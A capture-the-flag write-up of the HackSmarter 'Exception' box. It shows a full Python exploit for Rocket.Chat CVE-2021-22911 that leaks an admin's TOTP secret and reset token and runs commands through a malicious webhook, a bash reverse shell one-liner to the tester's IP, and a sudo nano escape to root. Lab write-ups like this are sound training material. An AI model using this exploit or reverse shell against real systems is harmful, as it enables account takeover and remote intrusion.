HackSmarter: Exception Writeup

HackSmarter: Exception Writeup

in

Exception

Summary

Exception is a Medium-difficulty Linux box from HackSmarter built around a realistic internal penetration test scenario. The attack surface starts with a static chatbot on port 80 and an outdated Rocket.Chat instance on port 3000. After registering an account and identifying the running version as 3.12.1, we exploit CVE-2021-22911 - a pre-auth NoSQL injection vulnerability - to leak the admin’s TOTP secret and password reset token, take over the admin account, and ultimately achieve remote code execution via a malicious incoming webhook integration. We land inside a Docker container as rocketchat, find database credentials in a leftover backup file, and use them to SSH into the host as Ron. From there, a wildly permissive sudo rule allows us to open nano as root, which we promptly abuse to drop into a root shell.

Objective / Scope

As part of an internal penetration test, you have discovered a server handling sensitive corporate communications. Compromising this high-value target is key to demonstrating tangible risk to the client. Conduct a full-scope penetration test against the target IP to identify, exploit, and report on any existing vulnerabilities.

Initial Access

You have been provided with VPN access to their internal environment, but no other information.

Enumeration

Running a version scan against the target reveals three open ports: SSH on 22, Apache on 80, and something interesting on 3000.

nmap scan report for 10.0.22.192
Host is up, received user-set (0.10s latency).
Scanned at 2026-02-26 16:55:00 WET for 17s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)

80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.58 ((Ubuntu))
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-title: Exception
|_http-server-header: Apache/2.4.58 (Ubuntu)

3000/tcp open  ppp?    syn-ack ttl 61
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     X-XSS-Protection: 1
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: sameorigin
|     X-Instance-ID: N329xDiMRN8b4ajW3
|     Content-Type: text/html; charset=utf-8
<SNIP>

Port 3000’s X-Frame-Options: sameorigin and the Meteor-specific CSS resource path in the HTML already hint that this is a Rocket.Chat instance. Let’s look at both web surfaces before drawing conclusions.

Port 80 - Help Bot

Hitting port 80 presents a page titled “Exception” hosting a client-side chatbot. A quick look at the source confirms that all the “AI” here is a flat JavaScript keyword matcher - there’s no server-side request involved at all when you send a message. Fuzzing directories and files turns up nothing of interest either.

This port is a dead end. The real action is on 3000.

Port 3000 - Rocket.Chat

Port 3000 serves a fully functional Rocket.Chat instance, complete with a registration page. Registering an account and logging in gets us inside.

The #general public channel has a single message from the user localh0ste, the box creator, that reads:

Hi, Send Me Email : localh0ste@exception.local

That domain gives us two things to work with: a vhost to chase down and an email address that will be useful later. Adding it to /etc/hosts and kicking off a vhost fuzz in the background, let’s now figure out exactly what version of Rocket.Chat we’re dealing with.

There are a couple of ways to uncover the version. The login page source leaks a gitCommitHash field embedded inside a __meteor_runtime_config__ object:

<script type="text/javascript">__meteor_runtime_config__ = JSON.parse(decodeURIComponent("{"meteorRelease":"METEOR@1.11.1","gitCommitHash":"f2817c056f9c063dd5f596446ef2e6c61634233b","meteorEnv":{"NODE_ENV":"production","TEST_METADATA":"{}"},"PUBLIC_SETTINGS":{},"ROOT_URL":"http://0.0.0.0:3000","ROOT_URL_PATH_PREFIX":"","autoupdate":{"versions":{"web.browser":{"version":"f9c8a572a47d74ef942789b1cd6ae921dbfb17fa","versionRefreshable":"4d66ad6668a9771a940f80c7b18c0362510c6472","versionNonRefreshable":"cbfb50545ef35ecf6af0cd6313ff7a02f9e1dd88"},"web.browser.legacy":{"version":"596409e76c8e6bc3a5c6f32c3164636395dc05d5","versionRefreshable":"4d66ad6668a9771a940f80c7b18c0362510c6472","versionNonRefreshable":"6de7d135d5b5373a59609aa06c9133becbaba3c5"}},"autoupdateVersion":null,"autoupdateVersionRefreshable":null,"autoupdateVersionCordova":null,"appId":"edb3sd4kq9l7.x9kzfv9hhwi"},"appId":"edb3sd4kq9l7.x9kzfv9hhwi","accountsConfigCalled":true,"isModern":true}"))</script>

Searching the Rocket.Chat GitHub repository for that hash returns pull requests associated with versions 3.12.1 and 3.12.2, narrowing it down to one of those two.

There’s a faster way to confirm the exact version though - the unauthenticated /api/info endpoint returns it directly:

curl -s http://exception.local:3000/api/info
{"version":"3.12.1","success":true}

Version 3.12.1 - and the current latest release sits at 7.x. This thing is ancient.

Shell as rocketchat

CVE-2021-22911 - NoSQL Injection to RCE

A quick search on cvedetails.com filtered by EPSS score surfaces exactly what we need: CVE-2021-22911.

The vulnerability is a pre-auth NoSQL injection in the getPasswordPolicy DDP method. The token parameter accepts a raw JSON object, meaning an attacker can slip in a $regex operator and perform a blind character-by-character brute-force to leak any account’s password reset token. Once you have a low-privilege account’s reset token, you can pivot to hijacking the admin account - even if it’s protected with 2FA - by abusing a similar injection in the users.list endpoint to leak the admin’s TOTP secret and reset token directly out of the MongoDB document. Admin access in Rocket.Chat means RCE via incoming webhook integrations, which execute arbitrary JavaScript in the server’s Node.js runtime.

There’s a public PoC on GitHub that we’ll clone and set up:

git clone https://github.com/CsEnox/CVE-2021-22911.git
cd CVE-2021-22911
python3 -m venv .venv
source .venv/bin/activate
pip install requests oathtool

Why the Original Exploit Needed Reworking

Running the GitHub version against the target didn’t produce the expected results, so I had to dig into why and rewrite it through a longer than expected Claude session. The differences matter and are worth walking through.

The original exploit uses substring matching on the raw response text to determine whether authentication succeeded - it checks if "error" appears anywhere in the response body. The problem is that Rocket.Chat’s DDP envelope wraps every response in a JSON structure that includes the string "error" as a key name even in perfectly successful replies. This caused the original script to misread successful logins as failures and exit prematurely.

The original also relied on the blind NoSQL brute-force path to reset the low-privilege user’s password before doing anything else, which made the whole flow slow. The rewritten version accepts the low-privilege user’s existing credentials as arguments and skips the reset step entirely.

The most consequential fix, though, was in how the RCE payload is delivered. The original script inlines the command string directly into the webhook’s JavaScript code. Any command containing pipes, redirects, semicolons, or quotes collides with the surrounding JavaScript string literal and silently breaks the exec() call. The fix is to base64-encode the command before embedding it, and have the webhook script decode and pipe it to bash at runtime. This makes the command delivery entirely shell-character-agnostic, which is essential for reverse shell one-liners.

Here’s the working exploit:

#!/usr/bin/env python3
# CVE-2021-22911 - Rocket.Chat 3.12.1 NoSQL Injection -> Admin Takeover -> RCE

import argparse
import base64
import hashlib
import json
import time

import oathtool
import requests

requests.packages.urllib3.disable_warnings()

def parse_args():
    p = argparse.ArgumentParser(description="CVE-2021-22911 exploit - RC 3.12.1")
    p.add_argument("-t", required=True, metavar="URL",   help="Target base URL")
    p.add_argument("-u", required=True, metavar="USER",  help="Low-priv username (no 2FA)")
    p.add_argument("-p", required=True, metavar="PASS",  help="Low-priv password")
    p.add_argument("-e", required=True, metavar="EMAIL", help="Admin email address")
    p.add_argument("-A", required=True, metavar="ADMIN", help="Admin username")
    p.add_argument("-c", required=True, metavar="CMD",   help="Command to execute on the target")
    return p.parse_args()

NEW_PASS = "P@$$w0rd!1234"

def authenticate(target, username, password):
    digest = hashlib.sha256(password.encode()).hexdigest()
    payload = json.dumps({
        "message": json.dumps({
            "msg": "method", "method": "login",
            "params": [{"user": {"username": username},
                        "password": {"digest": digest, "algorithm": "sha-256"}}]
        })
    })
    r = requests.post(f"{target}/api/v1/method.callAnon/login", data=payload,
                      headers={"content-type": "application/json"}, verify=False, allow_redirects=False)
    parsed = json.loads(r.text)
    inner  = json.loads(parsed["message"])
    if "result" not in inner:
        raise RuntimeError(f"Authentication failed for '{username}': {r.text[:200]}")
    msg = parsed["message"]
    return msg[32:49], msg[60:103]

def authed_headers(user_id, auth_token):
    return {"X-User-Id": user_id, "X-Auth-Token": auth_token}

def request_password_reset(target, email):
    payload = json.dumps({"message": json.dumps({
        "msg": "method", "method": "sendForgotPasswordEmail", "params": [email]})})
    requests.post(f"{target}/api/v1/method.callAnon/sendForgotPasswordEmail",
                  data=payload, headers={"content-type": "application/json"}, verify=False)
    print(f"[+] Password reset email triggered for {email}")

def leak_field(target, user_id, auth_token, target_username, field_path):
    # $where injection: throwing a field value as a JS exception surfaces it in the error response.
    # Specific percent-encoding is required - requests' params= would re-encode and break the injection.
    query = (
        '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\''+target_username+'\''
        '+%26%26+(()%3d>{+throw+this.'+field_path+'})()"}'
    )
    r = requests.get(target + query, headers=authed_headers(user_id, auth_token), verify=False)
    return r.text

def apply_reset_token(target, reset_token, totp_code):
    payload = json.dumps({"message": json.dumps({
        "msg": "method", "method": "resetPassword",
        "params": [reset_token, NEW_PASS, {"twoFactorCode": totp_code, "twoFactorMethod": "totp"}]})})
    r = requests.post(f"{target}/api/v1/method.callAnon/resetPassword", data=payload,
                      headers={"content-type": "application/json"}, verify=False)
    if "403" in r.text:
        raise RuntimeError("Reset rejected - token or TOTP code was wrong")
    print("[+] Admin password reset successful")

def exec_via_webhook(target, admin_username, totp_code, cmd):
    digest = hashlib.sha256(NEW_PASS.encode()).hexdigest()
    payload = json.dumps({"message": json.dumps({
        "msg": "method", "method": "login",
        "params": [{"totp": {"login": {"user": {"username": admin_username},
                             "password": {"digest": digest, "algorithm": "sha-256"}},
                             "code": totp_code}}]})})
    r = requests.post(f"{target}/api/v1/method.callAnon/login", data=payload,
                      headers={"content-type": "application/json"}, verify=False)
    parsed = json.loads(r.text)
    inner  = json.loads(parsed["message"])
    if "result" not in inner:
        raise RuntimeError(f"Admin TOTP login failed: {r.text[:200]}")
    msg = parsed["message"]
    user_id, auth_token = msg[32:49], msg[60:103]
    print("[+] Authenticated as admin")

    # Base64-encode so pipes, redirects, and quotes don't interact with the JS string literal
    encoded = base64.b64encode(cmd.encode()).decode()
    script = "\n".join([
        "const req = console.log.constructor('return process.mainModule.require')();",
        "const { exec } = req('child_process');",
        f"exec('echo {encoded}|base64 -d|bash');",
    ])

    hook_body = json.dumps({
        "enabled": True, "channel": "#general", "username": admin_username,
        "name": "hook_integration", "alias": "", "avatarUrl": "", "emoji": "",
        "scriptEnabled": True, "script": script, "type": "webhook-incoming"
    })
    hdrs = {**authed_headers(user_id, auth_token), "content-type": "application/json"}
    r = requests.post(f"{target}/api/v1/integrations.create", data=hook_body, headers=hdrs, verify=False)
    parts = r.text.split(",")
    hook_token, hook_id = parts[12][9:57], parts[18][7:24]
    trigger_url = f"{target}/hooks/{hook_id}/{hook_token}"
    print(f"[+] Webhook created - triggering: {trigger_url}")
    requests.get(trigger_url, verify=False)
    print("[+] Trigger sent")

def main():
    args = parse_args()
    target = args.t.rstrip("/")
    uid, tok = authenticate(target, args.u, args.p)

    print("[*] Leaking admin TOTP secret via $where exception injection...")
    raw = leak_field(target, uid, tok, args.A, "services.totp.secret")
    totp_secret = raw[46:98]
    print(f"[+] TOTP secret: {totp_secret}")

    request_password_reset(target, args.e)

    print("[*] Leaking admin reset token via $where exception injection...")
    raw = leak_field(target, uid, tok, args.A, "services.password.reset.token")
    reset_token = raw[46:89]
    print(f"[+] Reset token: {reset_token}")

    apply_reset_token(target, reset_token, oathtool.generate_otp(totp_secret))
    time.sleep(2)
    exec_via_webhook(target, args.A, oathtool.generate_otp(totp_secret), args.c)

if __name__ == "__main__":
    main()

We have everything we need: our registered account (test2), the admin’s email (localh0ste@exception.local) and username (localh0ste) from the #general channel, and a listener ready to go. We fire the exploit with a reverse shell payload:

python3 a.py -t 'http://exception.local:3000/' -u 'test2' -p 'test' \
  -e 'localh0ste@exception.local' -A 'localh0ste' \
  -c '/bin/bash -i >& /dev/tcp/10.200.37.124/80 0>&1'

[+] Authenticated as 'test2'
[*] Leaking admin TOTP secret via $where exception injection...
[+] TOTP secret: KIYTUQZKO4YD6ZJYEUWFAMB4OBAU6I3RJBCXMP3UGJHEOOBJGNLQ
[+] Password reset email triggered for localh0ste@exception.local
[*] Leaking admin reset token via $where exception injection...
[+] Reset token: [REDACTED]
[*] resetPassword response: {"message":"{\"msg\":\"result\",\"error\":{\"isClientSafe\":true,\"error\":\"totp-required\"...
[+] Admin password reset successful
[+] Authenticated as admin
[+] Webhook created - triggering: http://exception.local:3000/hooks/hXQgyKb6B2GHwQ5oT/[REDACTED]
[+] Trigger sent

penelope catches the callback and upgrades it:

penelope -p 443
[+] Got reverse shell from 9593cc10a7dd 10.0.22.192 Linux-x86_64 👤 rocketchat(65533)
[+] Shell upgraded successfully using /usr/bin/script
rocketchat@9593cc10a7dd:/app/bundle/programs/server$

Shell as Ron

Escaping the Container

The .dockerenv file sitting in / is the immediate tell - we’re inside a Docker container, not the host.

rocketchat@9593cc10a7dd:/$ ls -la /
total 80
drwxr-xr-x   1 root root 4096 Oct 25 15:59 .
drwxr-xr-x   1 root root 4096 Oct 25 15:59 ..
-rwxr-xr-x   1 root root    0 Oct 25 15:59 .dockerenv
-rw-r--r--   1 root root   95 Oct 25 15:59 Backup_db.txt
<SNIP>

There’s a file called Backup_db.txt sitting right in the root of the filesystem - the kind of thing that gets left behind after a migration or environment setup and promptly forgotten:

rocketchat@9593cc10a7dd:/$ cat Backup_db.txt
DATABASE_USER=Ron
DATABASE_PASSWORD=[REDACTED]
DATABASE_NAME=chatty
DATABASE_HOST=localhost

Before going down the container escape rabbit hole, it’s worth trying whether Ron is also a system user who reused this password since SSH is open on the box. A quick check of /etc/passwd confirms root and node as the only bash users in the container, so su won’t help us here - but SSH to the host is a different story.

ssh Ron@10.0.22.192
Ron@10.0.22.192's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.0-31-generic x86_64)
<SNIP>
Ron@Chatty:~$

Password reuse across the database config and the system account gets us onto the host directly.

PrivEsc to root

Ron@Chatty:~$ sudo -l
Matching Defaults entries for Ron on Chatty:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User Ron may run the following commands on Chatty:
    (root) NOPASSWD: /opt/log_inspector/check_log --clean

Ron can run /opt/log_inspector/check_log --clean as root with no password. Running it opens nano as root to inspect or clean some log file:

Ron@Chatty:~$ sudo /opt/log_inspector/check_log --clean
Cleaning log files...
Using editor: nano

nano has a built-in command execution feature via ^R^X (Read File then Execute Command). Since this nano process is running as root, any command it spawns inherits that context. The escape is straightforward:

# Inside nano:
^R^X
reset; sh 1>&0 2>&0
# whoami
root
# cat /root/root.txt
[REDACTED]